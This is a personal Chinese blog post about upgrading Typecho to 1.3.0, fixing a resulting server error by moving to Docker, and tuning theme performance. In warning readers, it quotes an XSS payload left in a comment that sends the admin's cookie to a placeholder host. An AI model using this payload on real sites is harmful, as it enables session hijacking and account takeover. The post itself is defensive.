和往日一样刷刷Github，然后就这样看到诈尸更新了

碎语

搭建博客这么多年了，居然才更新两次
虽然早就注意到有RC版本了，不过RC一直是RC，想着说不定还能拖大半年，一直没当回事（其实是因为懒），前段时间有注意到1.2.1几个已知漏洞，而且风险不小，看到有熟悉的网站就中招了，不过心存侥幸一直没去搞

PS:正好就在这几天看到我的网站多了莫名其妙的评论，F12 一看全在用那套攻击链接，大概长如下的样子

http://baidu/onfocus=location.href=http://xxx.xxx/steal?cookie=+document.cookieautofocus=666

很显然这是一个很经典的 XSS 攻击，如果没有你还在使用旧版本的Typecho，没有对评论者的网址进行过滤，在你进入你的网站后台时，会自动执行对应的JS，然后你的 Cookie 将被窃取发送给xxx.xxx这个网址，攻击者可以借此访问你的网站后台。因此建议所有人及时更新版本或及时关闭评论区，避免中招。

更新导致问题

初更新到 1.3 其实并没有出现什么问题，主题正常，插件也正常，似乎万事大吉，除了后台样式在更新时出现了小错误，其他没有任何问题......吗？

起初我也是这样认为的，直到照常使用突然注意出现Server Error，然后无论怎么样都解决不了，与 网站首页出现Server Error - Github 情况一致，并且这不是个例，还有一个人反馈的和我的情况类似，即

第一天：正常安装完成后一切正常。
第二天：访问首页报错 Server Error 与 500 状态码。其余 admin/* 管理页面正常。前台正常。

只不过我是所有的地方都出现了错误，连后台也进不去了。尝试关插件，换主题，重启服务器，改这改那都不行。尽管报错指出是PHP 8特性改动导致 Cookie.php 及地址相关出现了问题，但我一直使用的都是最新的PHP8.5，在Typecho1.2.1都未出现过问题，切换至较低的 PHP 版本也没有解决问题

于是只好花了不少时间丢弃 1Panel 的 PHP 环境和相关的东西，直接采用 Docker 容器化并反向代理，使用官方维护的 Dockerfile 以确保纯净，参考编排（docker-compose.yml）如下：

networks:
  1panel-network:
    external: true

services:
  typecho:
    container_name: typecho
    deploy:
      resources:
        limits:
          cpus: '2.0'
          memory: 1024M
    image: joyqi/typecho:1.3.0-php8.2-apache
    labels:
      createdBy: Apps
    networks:
      - 1panel-network
    ports:
      - "127.0.0.1:52038:80"
    restart: always
    volumes:
      - /opt/1panel/www/sites/note.moxiify.cn/index:/app/
    environment:
      - TIMEZONE=Asia/Shanghai
      - TYPECHO_SITE_URL=https://note.moxiify.cn

PHP8.2也有点老了，但相比官方另外维护的几个7.X版本，也没得选了

然后把 usr 的文件全部拖进挂载的 volumes 位置，恢复提前备份的数据库内容。
我个人习惯是开启地址重写和伪静态，并且自定义了永久链接，伪静态选择1Panel方案的tpyecho2否则异常，即如下：

location /typecho/ {
    if (!-e $request_filename) {
        rewrite ^(.*)$ /typecho/index.php$1 last;
    }
}

直接恢复后遇到了一个链接错误的小问题，自行开关地址重写的开关后恢复正常
于是网站目前一切恢复正常，真够折腾的

总结：Docker真香，Typecho1.3 的更新还是要慎重，务必备份好自己的数据

主题和博客

3周多前，主题来了个年末更新，把各种更新都做掉了，按道理也没什么更新了，于是自己来了一波大修改，把 Pjax 和各种库全去掉了，全部换成了Swup，想着在动画上重构一下，慢慢摸鱼慢慢修就是了，结果改了不到一半呢，Typecho 1.3来了！
这下坏菜了，Git不要了直接修回去也不是，只能硬着头皮赶紧改，现在来看是个性能负优化的更新，只是堪堪能接受，只好先这样发个版本凑合一下

回顾一下，从我第一次听说博客，了解 Typecho 到了解 PHP，再到那句PHP是世界上最好的语言！已经过去太久太久

以前在用虚拟主机、VPS的时候，这样的 CMS 还是主流选择。而目前来看，什么都交给服务器，依赖 PHP 和数据库完成一切的方案还是依旧简单好上手，不过其性能确实不如现在流行的Astro、Next.JS等方案来的直接，但一是习惯了随处随地可以写，也不想折腾各种评论系统，所以应该会继续用下去

但也有很没多办法解决的问题，作为一个博客系统，Typecho缺失太多太多功能

  • 对Pjax/Swup这样的刷新支持几乎为0
  • “能用”的MarkDown解析，几乎没有扩展语法，比如后文需要的![Desc](Url =300x200)，只能通过插件解决
  • 残缺的接口，导致了一切的一切都交给了主题/插件作者来处理，要对实际的content一次又一次的处理输出
  • 简易的评论，但结构全被主题和插件处理的评论系统，对于拦截垃圾评论的能力可以说完全没有，评论系统的功能和体验大概率取决于主题作者的处理
  • 对于文章图片、全站图片、文件的处理并不完善，依旧是由插件来补功能

这也就面临了，主题开发要自己考虑并解决包括但不限于页面切换、资源复用，加密文章还要考虑AJAX，文章要设计评论区分页的体验（Typecho没有做过多的接口，实现不了）····总之，要做的太多，而且实现一点也不优雅，搞得自我怀疑很多次，还是自己太菜了
因此还能列举一些踩过的坑：

  1. AJAX 请求加密文章时要自己强制返回 200
  2. 无法在Fetch的情况下无法获取评论区的锚点链接（所以评论区的功能始终有瑕疵）
  3. 没办法获取实际的文章内容并替换，只能要整个HTML然后自己找对应部分替换（浪费很多资源）
  4. 还有很多数不清的小毛病

总之，Typecho 能用，但已经非常不现代了，或者说 PHP 这样的 CMS 框架已经不适合博客系统了。这一次的TP更新也没有什么实际上的功能变化，主要都是安全性以及一些细小BUG的处理。
正如这句来自 ChatGPT5.2 的总结：

Typecho v1.3.0 是一个「迟到了三年的必要版本」，而不是一个「等了五年的版本」

就像 MIUI9 宣传的那句快如闪电，就像Sukka文章所说的哪个男孩不想拥有一个速度非常快的博客？，谁不希望自己的网站加载快体验好？
记得我最早的建站系统应该是米拓，随后是WP，最后才是 Typecho，为什么这样做？因为在早期与那些臃肿的系统相比，Typecho 是一个非常轻量高效的系统。可站在2026年的角度来看，他真的有点落后了
这也不得不引出下一点，即博客的性能水平了

性能

谈到性能，我们要从几个方面，一个是服务器的延迟带宽速度，另一个则是浏览器实际处理内容的速度。前者取决于RMB，取决于用户的网络质量（在2026年基本可以忽略）。后者更多取决于网站对资源实际的使用。假如你在博客上堆满音乐播放器，Live2d，各种花里胡哨的动画等阻塞渲染的话，那速度绝对是很差的，可以参考谈谈不受欢迎的博客技术特征。
我在我的网站左上角加了一个FPS显示，原因是方便调试（基本上主题Dev版本都会实际到这部署一段时间用于测试找问题）， 在我自己的设备上，帧数基本能稳定住，但目前的性能并不是太好，页面掉帧频发

访问了一些基于 Astro 的博客主题，发现他们的JS都很轻量，反而我自己的主题动辄千行起，实现的功能居然差不多，仔细观察了一下，现代的做法是把以下的内容提前渲染处理好，基本能在文章编写的时候就处理好

  • 构建期代码高亮（样式直接写在html里，不需要JS再解析）
  • 图片尺寸显式化（避免CLS抖动，提一嘴，Typecho的md解析器无法解析带尺寸的图片，所以只能自己用div，这也是一个缺陷）
  • 页面字体子集化（根据不同页面的字体需求只加载对应部分，对于动态刷新的页面···当然无解）
  • 没有评论区，或者是外部的评论系统

以实际运行的结构列表对比一下

维度Typecho / WPAstro / Next / Hugo
内容解析请求时构建时
Markdown运行时解析AST → HTML
代码高亮JS / PHP构建期
图片尺寸运行时不确定构建期可知
页面结构请求拼装静态产物
性能瓶颈浏览器 + PHP几乎只剩网络

为了尽量跟上这种效果，我尝试了一些缓解的手段

  1. 我去掉了Highlight.JS的代码高亮，然后移植了一个基于Highlight.PHP（说实话有点过时）的插件，把代码解析的任务交给了服务器处理，也算是尽量减少了前端JS的压力。感兴趣的可以看一下：PS-Highlight，说实话这也只是一种妥协，因为并没有彻底去除压力，只是转嫁了一下
  2. 把TOC、短代码的遍历解析、能尽量在后端就处理的 DOM 操作就塞进function.php，避免放在前端
  3. 各种节省资源的优化....？好吧我算法水平很差或者说没有，基本都是Vibe Coding完成，只能做基本的代码审查和整理，不过有一定的效果

我想着如果把能处理的全部交给服务器处理了，然后加上本身的缓存系统(其实Typecho根本没有内容缓存机制）应该能改善不少
然而，最终的效果也不过如此，没有真正想要的那种丝滑顺手的感觉，总是差点意思

有点对这烂摊子越来越不满意了

下一步

老访客应该会看见博客的风格变化虽然整体布局不变，但整体的质感好了不少，尤其动画方面，之前是用的AOS.JS，比较规矩但没有什么自定义空间，现在用到了比较现代的View Transitions API，做了一个自己还算满意的共享元素的效果，但是并不完美，主题的设计还不够和谐，而且性能并不理想，在本地环境测试能稳定在144FPS+，实际部署则容易触发各种莫名其妙的掉帧，但已经尽力了。
这个项目最早是为了让自己学习才折腾的，整体折腾的确实差不多了，感觉再死磕也没有性价比了，他本身是够用的，如果真的要继续下去恐怕就是走弯路了，对自己的时间和心态都是煎熬，或许下一步对我来说最好的选择就是拥抱Vue、React，然后奔向 Astro？